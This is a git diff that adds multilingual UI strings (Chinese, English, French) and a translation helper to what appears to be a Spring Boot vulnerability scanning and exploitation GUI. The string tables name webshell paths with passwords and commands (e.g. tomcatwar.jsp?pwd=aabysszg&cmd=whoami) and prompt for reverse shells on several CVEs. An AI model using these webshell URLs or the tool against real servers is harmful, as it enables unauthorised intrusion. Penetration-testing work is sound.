command=self.update, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=150, y=210) - - Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, + + Button(self.window, text=tr("common.cancel"), font=tkFont.Font(size=12), width=9, command=self.window.destroy, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=250, y=210) - Label(self.window, text="代理清洗:", fg="black", font=("宋体", 12)).place(x=20, y=260) + Label(self.window, text=tr("cfg.proxy_clean_label"), fg="black", font=("宋体", 12)).place(x=20, y=260) self.file_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='Ivory',cursor="hand2") self.file_entry.place(x=120, y=260) self.file_entry.bind("",self.filedir) - self.btnClear = Button(self.window, text="清洗", font=tkFont.Font(size=12), width=9, command=self.proxycheckfile, + self.btnClear = Button(self.window, text=tr("cfg.proxy_clean"), font=tkFont.Font(size=12), width=9, command=self.proxycheckfile, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2") self.btnClear.place(x=150, y=290) @@ -119,12 +120,12 @@ def update(self): } self.config = JsonMethod.JsonMethod() self.config.JsonWrite(data,self.proxypath) - messagebox.showinfo("更新","更新成功!") + messagebox.showinfo(tr("common.update"),tr("common.update_success")) def filedir(self,event): self.dirsPath(self.file_entry) def dirsPath(self,entry): filetypes=[('txt','*.txt'),('all','*.*')] - path = filedialog.askopenfilename(title='文件选择',filetypes=filetypes) + path = filedialog.askopenfilename(title=tr("common.file_select"),filetypes=filetypes) # systype if self.sysType == "Windows": # windows @@ -146,7 +147,7 @@ def ProxyCheckFile(self): file = self.file_entry.get() check = ProxyCheck.ProxyCheck() check.checkfile(file) - messagebox.showinfo("提示",f"代理清洗成功已保存至 {file} ") + messagebox.showinfo(tr("common.info"),tr("cfg.proxy_clean_ok", file=file)) self.btnClear.config(state="normal") def proxycheck(self): ip = self.ip_entry.get() @@ -155,9 +156,9 @@ def proxycheck(self): check = ProxyCheck.ProxyCheck() useful = check.checkurl(proxy) if useful != False: - messagebox.showinfo("提示","代理可用!") + messagebox.showinfo(tr("common.info"),tr("cfg.proxy_ok")) else: - messagebox.showerror("错误","代理不可用!") + messagebox.showerror(tr("common.error"),tr("cfg.proxy_bad")) def switchCheck(self): switch = int(self.status_var.get()) if switch == 0: diff --git a/pages/config/VulnConfig.py b/pages/config/VulnConfig.py index 9bc9873..ed585c8 100644 --- a/pages/config/VulnConfig.py +++ b/pages/config/VulnConfig.py @@ -5,6 +5,7 @@ import tkinter.font as tkFont from util import JsonMethod, SystemCheck +from util.Translate import tr class VulnConfig: def __init__(self): @@ -73,7 +74,7 @@ def configinit(self,path): def page(self): self.configinit(self.vulnspath) self.window = Toplevel(name='vulnscan') - self.window.title("漏扫设置") + self.window.title(tr("cfg.vuln_title")) self.window.geometry("500x480") self.window.resizable(0, 0) @@ -107,7 +108,7 @@ def page(self): self.model.current(self.models.index(self.modelSet)) except: self.window.destroy() - return messagebox.showerror("错误", "model load error!\nYou can delete the vulns.json and try again!") + return messagebox.showerror(tr("common.error"), "model load error!\nYou can delete the vulns.json and try again!") self.model.place(x=90, y=37) Label(self.window, text="expType:", fg="black", font=("宋体", 12)).place(x=17, y=10) @@ -117,7 +118,7 @@ def page(self): self.types.current(self.expTypes.index(self.expType)) except: self.window.destroy() - return messagebox.showerror("错误", "types load error!\nYou can delete the vulns.json and try again!") + return messagebox.showerror(tr("common.error"), "types load error!\nYou can delete the vulns.json and try again!") self.types.place(x=90, y=10) Label(self.window, text="PoC:", fg="black", font=("宋体", 12)).place(x=20, y=60) @@ -148,12 +149,12 @@ def page(self): self.addvulnPath_entry.place(x=70, y=380) self.addvulnPath_entry.bind("",self.vulnPath) - self.AddVuln = Button(self.window, text="新增", font=tkFont.Font(size=12), width=9, command=self.addVuln, + self.AddVuln = Button(self.window, text=tr("cfg.vuln_add"), font=tkFont.Font(size=12), width=9, command=self.addVuln, height=2, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2") self.AddVuln.place(x=390, y=350) - self.Delpoc = Button(self.window, text="删除", font=tkFont.Font(size=10), width=9, command=self.delpoc, + self.Delpoc = Button(self.window, text=tr("common.delete"), font=tkFont.Font(size=10), width=9, command=self.delpoc, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2") self.Delpoc.place(x=160, y=310) @@ -175,7 +176,7 @@ def page(self): # cursor="hand2") # self.Addexp.place(x=320, y=410) - self.Delexp = Button(self.window, text="删除", font=tkFont.Font(size=10), width=9, command=self.delexp, + self.Delexp = Button(self.window, text=tr("common.delete"), font=tkFont.Font(size=10), width=9, command=self.delexp, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2") self.Delexp.place(x=400, y=310) @@ -186,11 +187,11 @@ def page(self): # self.standpathget[i] = "" # self.asyncpathget[i] = "" - Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, + Button(self.window, text=tr("common.save"), font=tkFont.Font(size=12), width=9, command=self.update, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=140, y=420) - Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, + Button(self.window, text=tr("common.cancel"), font=tkFont.Font(size=12), width=9, command=self.window.destroy, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=260, y=420) @@ -228,7 +229,7 @@ def delpoc(self): self.poclist_info.insert(INSERT, pocs) self.poclist_info.config(state="disable") except: - messagebox.showerror("错误","未知错误") + messagebox.showerror(tr("common.error"),tr("common.unknown_error")) self.poclist_info.config(state="disable") def delexp(self): try: @@ -246,11 +247,11 @@ def delexp(self): self.explist_info.insert(INSERT, exps) self.explist_info.config(state="disable") except: - messagebox.showerror("错误","未知错误") + messagebox.showerror(tr("common.error"),tr("common.unknown_error")) self.explist_info.config(state="disable") def dirsPath(self,entry): filetypes=[('py','*.py'),('yaml','*.yaml'),('json','*.json'),('all','*.*')] - path = filedialog.askopenfilename(title='文件选择',filetypes=filetypes) + path = filedialog.askopenfilename(title=tr("common.file_select"),filetypes=filetypes) # systype if self.sysType == "Windows": # windows @@ -284,7 +285,7 @@ def addVuln(self): else: self.explist_info.config(state="disable") self.poclist_info.config(state="disable") - return messagebox.showerror("错误","空值或重复的键值") + return messagebox.showerror(tr("common.error"),tr("cfg.vuln_dup")) self.poc['value'] = self.poclist self.poc.current(0) self.exp['value'] = self.explist @@ -328,4 +329,4 @@ def update(self): } self.config = JsonMethod.JsonMethod() self.config.JsonWrite(data, self.vulnspath) - messagebox.showinfo("更新", "更新成功!") + messagebox.showinfo(tr("common.update"), tr("common.update_success")) diff --git a/translations/CN/string.json b/translations/CN/string.json index 8b13789..6d912fa 100644 --- a/translations/CN/string.json +++ b/translations/CN/string.json @@ -1 +1,131 @@ +{ + "common.auto": "自动", + "common.browse": "浏览", + "common.scan": "扫描", + "common.save": "保存", + "common.cancel": "取消", + "common.enable": "启用", + "common.check": "检查", + "common.delete": "删除", + "common.error": "错误", + "common.info": "提示", + "common.update": "更新", + "common.update_success": "更新成功!", + "common.unknown_error": "未知错误", + "common.file_select": "文件选择", + "tab.leak": "泄露扫描", + "tab.vuln": "漏洞扫描", + "tab.fofa": "Fofa资产测绘", + + "menu.menu": "菜单", + "menu.config": "配置", + "menu.help": "帮助", + "menu.more": "更多", + "menu.language": "语言", + "menu.exit": "退出", + "menu.exit_confirm": "确定退出吗?", + "menu.fofa_cfg": "资产测绘", + "menu.proxy_cfg": "代理设置", + "menu.log_cfg": "日志设置", + "menu.vuln_cfg": "漏扫设置", + "menu.check_update": "检查更新", + "menu.usage": "利用姿势", + "menu.about": "关于", + "menu.about_text": "敬请期待···", + "menu.clear": "清除", + "menu.del_title": "删除", + "menu.del_file_err": "删除文件时出现未知错误!", + "menu.del_dir_err": "删除目录时出现未知错误!", + "menu.del_ok": "删除{path}下文件成功", + "menu.del_missing": "不存在{path}已自动创建!", + "menu.update_found": "检测到新版本{version},是否前往更新?", + "menu.update_latest": "当前已为最新版本", + "menu.update_fail": "网络、代理或未知错误,检查更新失败!\n请稍后再试", + "menu.fofa_info": "根据图标 : icon_hash=\"116323821\"\n网页内容识别 : body=\"Whitelabel Error Page\"", + + "scan.target_url": "检测URL", + "scan.dict_label": "信息泄露字典", + "scan.download_url": "下载地址", + "scan.download": "下载", + "scan.url_or_dict_err": "URL或字典信息错误!", + "scan.unknown_scan_err": "{url}SpringBoot信息泄露扫描中的未知错误", + "scan.url_incomplete": "地址信息错误,请填写完整URL!\neg:https://www.baidu.com", + "scan.unknown_download_err": "{url} SpringBoot信息泄露下载中的未知错误", + "scan.no_leak": "[-] 在 {path} 未发现{fname}敏感文件泄露 ", + "scan.found_leak": "[+] 在 {path} 发现{fname}敏感文件泄露 ", + "scan.found_export": "[→] 发现目标URL存在SpringBoot敏感信息泄露,已经导出至 urlout.txt ,共{count}行记录", + "scan.status_leak": "[+] 状态码{code} 信息泄露URL为: {url} 页面长度为: {length}", + "scan.status_fail": "[-] 状态码{code} 无法访问URL为: {url}", + "scan.refused": "[-] URL为 {url} 的目标积极拒绝请求,予以跳过!", + + "vuln.exploit_url": "利用地址", + "vuln.cmd": "执行命令", + "vuln.url_err": "URL信息错误!", + "vuln.url_cmd_err": "URL或命令信息错误!", + + "fofa.search_syntax": "搜索语法:", + "fofa.config": "配置", + "fofa.query": "查询", + "fofa.export": "导出", + "fofa.rules_title": "查询语法", + "fofa.rule_empty": "搜索规则功能为空!", + "fofa.syntax_err": "搜索语法错误!", + "fofa.export_ok": "导出成功./save/fofa.txt!", + + "cfg.fofa_title": "Fofa设置", + "cfg.proxy_title": "代理设置", + "cfg.log_title": "日志设置", + "cfg.vuln_title": "漏扫设置", + "cfg.proxy_clean_label": "代理清洗:", + "cfg.proxy_clean": "清洗", + "cfg.proxy_clean_ok": "代理清洗成功已保存至 {file} ", + "cfg.proxy_ok": "代理可用!", + "cfg.proxy_bad": "代理不可用!", + "cfg.vuln_add": "新增", + "cfg.vuln_dup": "空值或重复的键值", + + "banner.exp_support": "\n仅支持CVE-2022-22947\n CVE-2022-22965\n CVE-2022-22963\n", + + "core.undef": "未定义", + "core.load_err": "数据载入错误 {e}", + + "v.unknown": "[error] {url} 未知错误 {e}", + + "v.21234.win": "[+] 发现Spring Boot目录遍历漏洞且系统为Win\n", + "v.21234.linux": "[+] 发现Spring Boot目录遍历漏洞且系统为Linux\n", + "v.21234.none": "[-] {url} 未发现Spring Boot目录遍历漏洞", + + "v.22947.out": "[+] {url} Payload已经输出,回显结果如下", + "v.22947.out_neg": "[-] {url} Payload已经输出,回显结果如下", + "v.22947.none": "[-] {url} CVE-2022-22947漏洞不存在", + + "v.22963.found": "[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,执行命令\n{cmd}", + "v.22963.found_shell": "[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,请手动反弹Shell", + "v.22963.none": "[-] {url} CVE-2022-22963漏洞不存在", + + "v.22965.shell_aabyss": "[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}tomcatwar.jsp?pwd=aabysszg&cmd=whoami", + "v.22965.shell_manual": "[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址请手动尝试访问:[/tomcatwar.jsp?pwd=aabysszg&cmd=命令]", + "v.22965.shell_default": "[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}shell.jsp?cmd=whoami", + "v.22965.shell_13exp": "[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}wbexp.jsp?pwd=13exp&cmd=whoami", + "v.22965.shell_scan": "[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址自行扫描", + "v.22965.cmd_req_err": "[-] CVE_2022_22965命令执行 请求错误", + "v.22965.cmd_unknown": "[-] CVE_2022_22965命令执行 未知错误", + + "v.jee.payload": "[+] Payload已经发送,成功上传JSP\n", + "v.jee.found": "[+] {url} 存在2023JeeSpring任意文件上传漏洞", + "v.jee.manual": "[-] {url} 未发现Poc存活,请手动验证", + "v.jee.none": "[-] {url} 2023JeeSpring任意文件上传漏洞不存在", + + "v.jolokia.path": "[+] 发现jolokia相关路径状态码为200,进一步验证\n", + "v.jolokia.logback": "[+] {url} 存在Jolokia-Logback-JNDI-RCE漏洞下", + "v.jolokia.realm": "[+] {url} 存在Jolokia-Realm-JNDI-RCE漏洞下", + "v.jolokia.manual": "[-] {url} 未发现jolokia/list路径存在关键词,请手动验证", + "v.jolokia.none": "[-] {url} Jolokia系列RCE漏洞不存在", + + "v.snake.found1": "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 1.x\n", + "v.snake.found2": "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 2.x\n", + "v.snake.path": "漏洞存在路径为 {url}\n", + "v.snake.post": "'POST数据包内容为 {payload}", + "v.snake.none": "[-] {url} 未发现SnakeYAML-RCE漏洞" +} diff --git a/translations/FR/string.json b/translations/FR/string.json new file mode 100644 index 0000000..80a56ea --- /dev/null +++ b/translations/FR/string.json @@ -0,0 +1,131 @@ +{ + "common.auto": "Auto", + "common.browse": "Parcourir", + "common.scan": "Scanner", + "common.save": "Enregistrer", + "common.cancel": "Annuler", + "common.enable": "Activer", + "common.check": "Vérifier", + "common.delete": "Supprimer", + "common.error": "Erreur", + "common.info": "Info", + "common.update": "Mise à jour", + "common.update_success": "Mise à jour réussie !", + "common.unknown_error": "Erreur inconnue", + "common.file_select": "Sélectionner un fichier", + + "tab.leak": "Scan de fuites", + "tab.vuln": "Scan de vulnérabilités", + "tab.fofa": "Cartographie Fofa", + + "menu.menu": "Menu", + "menu.config": "Paramètres", + "menu.help": "Aide", + "menu.more": "Plus", + "menu.language": "Langue", + "menu.exit": "Quitter", + "menu.exit_confirm": "Voulez-vous vraiment quitter ?", + "menu.fofa_cfg": "Cartographie (Fofa)", + "menu.proxy_cfg": "Paramètres du proxy", + "menu.log_cfg": "Paramètres des journaux", + "menu.vuln_cfg": "Paramètres scan de vulns", + "menu.check_update": "Vérifier les mises à jour", + "menu.usage": "Guide d'exploitation", + "menu.about": "À propos", + "menu.about_text": "Bientôt disponible...", + "menu.clear": "Nettoyer", + "menu.del_title": "Suppression", + "menu.del_file_err": "Erreur inconnue lors de la suppression des fichiers !", + "menu.del_dir_err": "Erreur inconnue lors de la suppression des dossiers !", + "menu.del_ok": "Fichiers sous {path} supprimés avec succès", + "menu.del_missing": "{path} n'existait pas et a été créé automatiquement !", + "menu.update_found": "Nouvelle version {version} détectée. Ouvrir la page de mise à jour ?", + "menu.update_latest": "Vous êtes déjà à jour", + "menu.update_fail": "Erreur réseau, proxy ou inconnue : échec de la vérification !\nRéessayez plus tard", + "menu.fofa_info": "Par icône : icon_hash=\"116323821\"\nPar contenu : body=\"Whitelabel Error Page\"", + + "scan.target_url": "URL cible", + "scan.dict_label": "Dictionnaire de fuites", + "scan.download_url": "URL de téléchargement", + "scan.download": "Télécharger", + "scan.url_or_dict_err": "URL ou dictionnaire invalide !", + "scan.unknown_scan_err": "Erreur inconnue pendant le scan de fuites SpringBoot sur {url}", + "scan.url_incomplete": "Adresse invalide, saisissez une URL complète !\nex : https://www.baidu.com", + "scan.unknown_download_err": "Erreur inconnue pendant le téléchargement depuis {url} (fuite SpringBoot)", + "scan.no_leak": "[-] Aucune fuite du fichier sensible {fname} trouvée sur {path} ", + "scan.found_leak": "[+] Fuite du fichier sensible {fname} trouvée sur {path} ", + "scan.found_export": "[→] L'URL cible expose des informations sensibles SpringBoot, exporté vers urlout.txt, {count} lignes", + "scan.status_leak": "[+] Code {code} URL avec fuite : {url} taille de page : {length}", + "scan.status_fail": "[-] Code {code} URL inaccessible : {url}", + "scan.refused": "[-] La cible {url} a refusé la requête, ignorée !", + + "vuln.exploit_url": "URL d'exploitation", + "vuln.cmd": "Commande", + "vuln.url_err": "URL invalide !", + "vuln.url_cmd_err": "URL ou commande invalide !", + + "fofa.search_syntax": "Syntaxe de recherche :", + "fofa.config": "Config", + "fofa.query": "Rechercher", + "fofa.export": "Exporter", + "fofa.rules_title": "Syntaxe de requête", + "fofa.rule_empty": "La règle de recherche est vide !", + "fofa.syntax_err": "Syntaxe de recherche invalide !", + "fofa.export_ok": "Export réussi vers ./save/fofa.txt !", + + "cfg.fofa_title": "Paramètres Fofa", + "cfg.proxy_title": "Paramètres du proxy", + "cfg.log_title": "Paramètres des journaux", + "cfg.vuln_title": "Paramètres scan de vulns", + "cfg.proxy_clean_label": "Nettoyage de proxies :", + "cfg.proxy_clean": "Nettoyer", + "cfg.proxy_clean_ok": "Nettoyage terminé, enregistré dans {file} ", + "cfg.proxy_ok": "Le proxy fonctionne !", + "cfg.proxy_bad": "Le proxy ne fonctionne pas !", + "cfg.vuln_add": "Ajouter", + "cfg.vuln_dup": "Clé vide ou en double", + + "banner.exp_support": "\nPrend uniquement en charge CVE-2022-22947\n CVE-2022-22965\n CVE-2022-22963\n", + + "core.undef": "Non défini", + "core.load_err": "Erreur de chargement des données {e}", + + "v.unknown": "[error] {url} erreur inconnue {e}", + + "v.21234.win": "[+] Vulnérabilité de traversée de répertoire Spring Boot détectée, système Windows\n", + "v.21234.linux": "[+] Vulnérabilité de traversée de répertoire Spring Boot détectée, système Linux\n", + "v.21234.none": "[-] {url} aucune traversée de répertoire Spring Boot détectée", + + "v.22947.out": "[+] {url} Payload envoyé, résultat en écho ci-dessous", + "v.22947.out_neg": "[-] {url} Payload envoyé, résultat en écho ci-dessous", + "v.22947.none": "[-] {url} la vulnérabilité CVE-2022-22947 n'existe pas", + + "v.22963.found": "[+] {url} la vulnérabilité RCE CVE-2022-22963 existe, exécution de la commande\n{cmd}", + "v.22963.found_shell": "[+] {url} la vulnérabilité RCE CVE-2022-22963 existe, mettez en place un reverse shell manuellement", + "v.22963.none": "[-] {url} la vulnérabilité CVE-2022-22963 n'existe pas", + + "v.22965.shell_aabyss": "[+] La vulnérabilité RCE CVE-2022-22965 existe, webshell téléversé : {url}tomcatwar.jsp?pwd=aabysszg&cmd=whoami", + "v.22965.shell_manual": "[-] {url} CVE-2022-22965 n'existe pas ou a déjà été exploitée, essayez d'accéder au shell manuellement : [/tomcatwar.jsp?pwd=aabysszg&cmd=commande]", + "v.22965.shell_default": "[+] La vulnérabilité RCE CVE-2022-22965 existe, webshell téléversé : {url}shell.jsp?cmd=whoami", + "v.22965.shell_13exp": "[+] La vulnérabilité RCE CVE-2022-22965 existe, webshell téléversé : {url}wbexp.jsp?pwd=13exp&cmd=whoami", + "v.22965.shell_scan": "[-] {url} CVE-2022-22965 n'existe pas ou a déjà été exploitée, cherchez le shell vous-même", + "v.22965.cmd_req_err": "[-] CVE_2022_22965 erreur de requête lors de l'exécution de commande", + "v.22965.cmd_unknown": "[-] CVE_2022_22965 erreur inconnue lors de l'exécution de commande", + + "v.jee.payload": "[+] Payload envoyé, JSP téléversé avec succès\n", + "v.jee.found": "[+] {url} est vulnérable à la faille d'upload arbitraire JeeSpring 2023", + "v.jee.manual": "[-] {url} PoC non détecté, veuillez vérifier manuellement", + "v.jee.none": "[-] {url} la faille d'upload arbitraire JeeSpring 2023 n'existe pas", + + "v.jolokia.path": "[+] Le chemin lié à Jolokia a renvoyé 200, vérification approfondie\n", + "v.jolokia.logback": "[+] {url} la vulnérabilité Jolokia-Logback-JNDI-RCE existe", + "v.jolokia.realm": "[+] {url} la vulnérabilité Jolokia-Realm-JNDI-RCE existe", + "v.jolokia.manual": "[-] {url} mot-clé attendu introuvable sur le chemin jolokia/list, veuillez vérifier manuellement", + "v.jolokia.none": "[-] {url} les vulnérabilités RCE Jolokia n'existent pas", + + "v.snake.found1": "[+] Vulnérabilité SnakeYAML-RCE détectée, PoC pour Spring 1.x\n", + "v.snake.found2": "[+] Vulnérabilité SnakeYAML-RCE détectée, PoC pour Spring 2.x\n", + "v.snake.path": "Chemin vulnérable : {url}\n", + "v.snake.post": "'Contenu du POST : {payload}", + "v.snake.none": "[-] {url} vulnérabilité SnakeYAML-RCE non détectée" +} diff --git a/translations/US/string.json b/translations/US/string.json index 8b13789..777147c 100644 --- a/translations/US/string.json +++ b/translations/US/string.json @@ -1 +1,131 @@ +{ + "common.auto": "Auto", + "common.browse": "Browse", + "common.scan": "Scan", + "common.save": "Save", + "common.cancel": "Cancel", + "common.enable": "Enable", + "common.check": "Check", + "common.delete": "Delete", + "common.error": "Error", + "common.info": "Info", + "common.update": "Update", + "common.update_success": "Updated successfully!", + "common.unknown_error": "Unknown error", + "common.file_select": "Select a file", + "tab.leak": "Leak Scan", + "tab.vuln": "Vulnerability Scan", + "tab.fofa": "Fofa Asset Mapping", + + "menu.menu": "Menu", + "menu.config": "Settings", + "menu.help": "Help", + "menu.more": "More", + "menu.language": "Language", + "menu.exit": "Exit", + "menu.exit_confirm": "Are you sure you want to exit?", + "menu.fofa_cfg": "Asset Mapping (Fofa)", + "menu.proxy_cfg": "Proxy Settings", + "menu.log_cfg": "Log Settings", + "menu.vuln_cfg": "Vuln Scan Settings", + "menu.check_update": "Check for Updates", + "menu.usage": "Exploitation Guide", + "menu.about": "About", + "menu.about_text": "Coming soon...", + "menu.clear": "Clear", + "menu.del_title": "Delete", + "menu.del_file_err": "Unknown error while deleting files!", + "menu.del_dir_err": "Unknown error while deleting directories!", + "menu.del_ok": "Files under {path} deleted successfully", + "menu.del_missing": "{path} did not exist and was created automatically!", + "menu.update_found": "New version {version} detected. Go to the update page?", + "menu.update_latest": "You already have the latest version", + "menu.update_fail": "Network, proxy or unknown error: update check failed!\nPlease try again later", + "menu.fofa_info": "By icon : icon_hash=\"116323821\"\nBy page content : body=\"Whitelabel Error Page\"", + + "scan.target_url": "Target URL", + "scan.dict_label": "Info-leak dictionary", + "scan.download_url": "Download URL", + "scan.download": "Download", + "scan.url_or_dict_err": "Invalid URL or dictionary!", + "scan.unknown_scan_err": "Unknown error while scanning {url} for SpringBoot information leaks", + "scan.url_incomplete": "Invalid address, please enter a full URL!\neg: https://www.baidu.com", + "scan.unknown_download_err": "Unknown error while downloading from {url} (SpringBoot info leak)", + "scan.no_leak": "[-] No sensitive file leak {fname} found at {path} ", + "scan.found_leak": "[+] Sensitive file leak {fname} found at {path} ", + "scan.found_export": "[→] Target URL exposes SpringBoot sensitive information, exported to urlout.txt, {count} lines", + "scan.status_leak": "[+] Status {code} leaked URL: {url} page length: {length}", + "scan.status_fail": "[-] Status {code} cannot access URL: {url}", + "scan.refused": "[-] Target {url} actively refused the request, skipping!", + + "vuln.exploit_url": "Exploit URL", + "vuln.cmd": "Command", + "vuln.url_err": "Invalid URL!", + "vuln.url_cmd_err": "Invalid URL or command!", + + "fofa.search_syntax": "Search syntax:", + "fofa.config": "Config", + "fofa.query": "Query", + "fofa.export": "Export", + "fofa.rules_title": "Query syntax", + "fofa.rule_empty": "Search rule is empty!", + "fofa.syntax_err": "Invalid search syntax!", + "fofa.export_ok": "Exported successfully to ./save/fofa.txt!", + + "cfg.fofa_title": "Fofa Settings", + "cfg.proxy_title": "Proxy Settings", + "cfg.log_title": "Log Settings", + "cfg.vuln_title": "Vuln Scan Settings", + "cfg.proxy_clean_label": "Proxy cleanup:", + "cfg.proxy_clean": "Clean", + "cfg.proxy_clean_ok": "Proxy cleanup done, saved to {file} ", + "cfg.proxy_ok": "Proxy is working!", + "cfg.proxy_bad": "Proxy is not working!", + "cfg.vuln_add": "Add", + "cfg.vuln_dup": "Empty or duplicate key", + + "banner.exp_support": "\nOnly supports CVE-2022-22947\n CVE-2022-22965\n CVE-2022-22963\n", + + "core.undef": "Undefined", + "core.load_err": "Data loading error {e}", + + "v.unknown": "[error] {url} unknown error {e}", + + "v.21234.win": "[+] Spring Boot directory traversal found, system is Windows\n", + "v.21234.linux": "[+] Spring Boot directory traversal found, system is Linux\n", + "v.21234.none": "[-] {url} no Spring Boot directory traversal found", + + "v.22947.out": "[+] {url} Payload delivered, echo output below", + "v.22947.out_neg": "[-] {url} Payload delivered, echo output below", + "v.22947.none": "[-] {url} CVE-2022-22947 vulnerability does not exist", + + "v.22963.found": "[+] {url} RCE vulnerability CVE-2022-22963 exists, executing command\n{cmd}", + "v.22963.found_shell": "[+] {url} RCE vulnerability CVE-2022-22963 exists, set up a reverse shell manually", + "v.22963.none": "[-] {url} CVE-2022-22963 vulnerability does not exist", + + "v.22965.shell_aabyss": "[+] RCE vulnerability CVE-2022-22965 exists, webshell uploaded: {url}tomcatwar.jsp?pwd=aabysszg&cmd=whoami", + "v.22965.shell_manual": "[-] {url} CVE-2022-22965 does not exist or was already exploited, try to visit the shell manually: [/tomcatwar.jsp?pwd=aabysszg&cmd=command]", + "v.22965.shell_default": "[+] RCE vulnerability CVE-2022-22965 exists, webshell uploaded: {url}shell.jsp?cmd=whoami", + "v.22965.shell_13exp": "[+] RCE vulnerability CVE-2022-22965 exists, webshell uploaded: {url}wbexp.jsp?pwd=13exp&cmd=whoami", + "v.22965.shell_scan": "[-] {url} CVE-2022-22965 does not exist or was already exploited, scan for the shell yourself", + "v.22965.cmd_req_err": "[-] CVE_2022_22965 command execution request error", + "v.22965.cmd_unknown": "[-] CVE_2022_22965 command execution unknown error", + + "v.jee.payload": "[+] Payload sent, JSP uploaded successfully\n", + "v.jee.found": "[+] {url} is vulnerable to JeeSpring 2023 arbitrary file upload", + "v.jee.manual": "[-] {url} PoC not alive, please verify manually", + "v.jee.none": "[-] {url} JeeSpring 2023 arbitrary file upload vulnerability does not exist", + + "v.jolokia.path": "[+] Jolokia-related path returned 200, checking further\n", + "v.jolokia.logback": "[+] {url} Jolokia-Logback-JNDI-RCE vulnerability exists", + "v.jolokia.realm": "[+] {url} Jolokia-Realm-JNDI-RCE vulnerability exists", + "v.jolokia.manual": "[-] {url} no expected keyword found on jolokia/list path, please verify manually", + "v.jolokia.none": "[-] {url} Jolokia RCE vulnerabilities do not exist", + + "v.snake.found1": "[+] SnakeYAML-RCE vulnerability found, PoC is Spring 1.x\n", + "v.snake.found2": "[+] SnakeYAML-RCE vulnerability found, PoC is Spring 2.x\n", + "v.snake.path": "Vulnerable path: {url}\n", + "v.snake.post": "'POST body content: {payload}", + "v.snake.none": "[-] {url} SnakeYAML-RCE vulnerability not found" +} diff --git a/util/InputCheck.py b/util/InputCheck.py index 87a9336..db17471 100644 --- a/util/InputCheck.py +++ b/util/InputCheck.py @@ -2,6 +2,8 @@ import os,re +from util.Translate import tr + class InputCheck: def isNull(self,check): if check == "": @@ -21,7 +23,7 @@ def FileOrUrl(self,check): else: return False def UserAgent(self,check): - if check == "自动": + if check == tr("common.auto"): return True else: return False diff --git a/util/LangPicker.py b/util/LangPicker.py new file mode 100644 index 0000000..db3fe43 --- /dev/null +++ b/util/LangPicker.py @@ -0,0 +1,37 @@ +# coding:utf-8 +"""First-run language selection dialog.""" + +import tkinter as tk + +from util import Translate + + +class LangPicker: + + @staticmethod + def ask(): + """Show a small window and return the picked language code.""" + picked = {"lang": Translate.detect_lang()} + + root = tk.Tk() + root.title("Language / Langue / 语言") + root.geometry("340x150") + root.resizable(0, 0) + + tk.Label(root, text="Please choose your language\nChoisissez votre langue\n请选择语言", + font=("Arial", 11)).pack(pady=15) + + def pick(lang): + picked["lang"] = lang + Translate.save_lang(lang) + root.destroy() + + frame = tk.Frame(root) + frame.pack(pady=5) + tk.Button(frame, text="中文", width=9, height=1, command=lambda: pick("CN")).grid(row=0, column=0, padx=10) + tk.Button(frame, text="English", width=9, height=1, command=lambda: pick("US")).grid(row=0, column=1, padx=10) + tk.Button(frame, text="Français", width=9, height=1, command=lambda: pick("FR")).grid(row=0, column=2, padx=10) + + root.protocol("WM_DELETE_WINDOW", root.destroy) + root.mainloop() + return picked["lang"] diff --git a/util/Translate.py b/util/Translate.py new file mode 100644 index 0000000..ce55356 --- /dev/null +++ b/util/Translate.py @@ -0,0 +1,81 @@ +# coding:utf-8 +"""Lightweight i18n support for SpringBoot-Scan-GUI. + +String tables live in ./translations//string.json with LANG being +CN (Chinese), US (English) or FR (French). The chosen language is stored +in ./config/lang.json and reloaded at startup. +""" + +import json +import os + +SUPPORTED = ["CN", "US", "FR"] +LANG_NAMES = {"CN": "中文", "US": "English", "FR": "Français"} +CONFIG_PATH = "./config/lang.json" +_TRANSLATIONS_DIR = os.path.join( + os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "translations") + +_current = {} +_current_lang = "US" + + +def detect_lang(): + """Guess the language from the system locale.""" + code = os.environ.get("LANG", "") or os.environ.get("LANGUAGE", "") + code = code.lower() + if code.startswith("zh"): + return "CN" + if code.startswith("fr"): + return "FR" + return "US" + + +def saved_lang(): + """Return the language stored in config/lang.json, or None.""" + try: + with open(CONFIG_PATH, "r", encoding="utf-8") as f: + lang = json.load(f).get("lang") + return lang if lang in SUPPORTED else None + except Exception: + return None + + +def save_lang(lang): + if lang not in SUPPORTED: + return + os.makedirs(os.path.dirname(CONFIG_PATH), exist_ok=True) + with open(CONFIG_PATH, "w", encoding="utf-8") as f: + json.dump({"lang": lang}, f, ensure_ascii=False, indent=4) + + +def load(lang=None): + """Load a string table; returns the language actually loaded.""" + global _current, _current_lang + if lang is None: + lang = saved_lang() or detect_lang() + if lang not in SUPPORTED: + lang = "US" + path = os.path.join(_TRANSLATIONS_DIR, lang, "string.json") + try: + with open(path, "r", encoding="utf-8") as f: + _current = json.load(f) + except Exception: + _current = {} + _current_lang = lang + return lang + + +def current(): + """Return the currently loaded language code.""" + return _current_lang + + +def tr(key, **kwargs): + """Translate `key` using the loaded table, then apply {placeholders}.""" + text = _current.get(key, key) + if kwargs: + try: + text = text.format(**kwargs) + except Exception: + pass + return text diff --git a/vuls/CVE_2021_21234.py b/vuls/CVE_2021_21234.py index 